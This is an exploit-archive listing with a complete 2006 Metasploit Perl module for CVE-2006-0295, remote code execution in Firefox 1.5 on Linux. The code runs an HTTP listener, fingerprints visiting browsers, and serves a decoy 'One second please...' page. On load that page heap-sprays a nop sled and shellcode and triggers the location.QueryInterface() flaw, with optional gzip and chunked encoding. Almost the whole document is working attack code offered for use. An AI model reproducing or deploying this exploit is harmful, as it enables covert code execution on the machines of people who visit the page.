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firefox_queryinterface.pm.txt

firefox_queryinterface.pm.txt
Posted Feb 14, 2006
Authored by H D Moore | Site metasploit.com

Mozilla Firefox versions 1.5 and below remote command execution interface that makes use of location.QueryInterface().

tags | exploit, remote
advisories | CVE-2006-0295
SHA-256 | 27403aaf40c5cf1757082c221602bd936a4ba0e10502192e6ae985fd103555ee

firefox_queryinterface.pm.txt

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##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::firefox_queryinterface_linux;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};

my $info =
{
'Name' => 'Firefox location.QueryInterface() Code Execution (Linux x86)',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],

'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in the Mozilla
Firefox browser. To reliably exploit this vulnerability, we need to fill
almost a gigabyte of memory with our nop sled and payload. This module has
been tested on Gentoo Linux with the stock Firefox 1.5.0 package.
}),

'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,

'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['CVE', '2006-0295'],
['BID', '16476'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
],

'DefaultTarget' => 0,
'Targets' =>
[
[ 'Mozilla Firefox 1.5.0.0 on Linux x86' ]
],

'Keys' => [ 'mozilla' ],

'DisclosureDate' => 'Feb 02 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;

# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');

$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my $fd = shift;

# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);


# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;

# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {

$line =~ s/^\s+|\s+$//g;

my ($var, $val) = split(/\:/, $line, 2);

# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));

$agent = $val if $var =~ /User-Agent/i;
}

my $os = 'Unknown';
my $vl = ($agent =~ m/\/1\.5$/) ? 'Vulnerable' : 'Not Vulnerable';

$os = 'Linux' if $agent =~ /Linux/i;
$os = 'Mac OS X' if $agent =~ /OS X/i;
$os = 'Windows' if $agent =~ /Windows/i;


$self->PrintLine("[*] Client connected from $rhost:$rport ($os/$vl).");

if ($os ne 'Linux') {
$self->PrintLine("[*] Invalid target for this exploit, trying anyways...");
} else {
$self->PrintLine("[*] Sending payload and waiting for execution...");
}

my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));

$fd->Close();
}


sub JSUnescape {
my $self = shift;
my $data = shift;
my $code = '';

# Encode the shellcode via %u sequences for JS's unescape() function
my $idx = 0;
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
$idx += 2;
}

return $code;
}

sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
my $data = qq#
<html>
<head>
<title>One second please...</title>
<script language="javascript">

function BodyOnLoad() {
h = FillHeap();
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};

function FillHeap() {
// Filler
var m = "";
var h = "";
var a = 0;

// Nop sled
for(a=0; a<(1024*512); a++)
m += unescape("\%u9090");

// Payload
m += unescape("$shellcode");

// Repeat
for(a=0; a<1024; a++)
h += m;

// Return
return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
#;
return $data;
}

sub BuildResponse {
my ($self, $content) = @_;

my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";

if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}

$response .= "\r\n" . $content;

return $response;
}

sub Chunk {
my ($self, $content) = @_;

my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";

return $chunked;
}

sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;

my($wtr, $rdr, $err);

my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;

return (<$rdr>);
}
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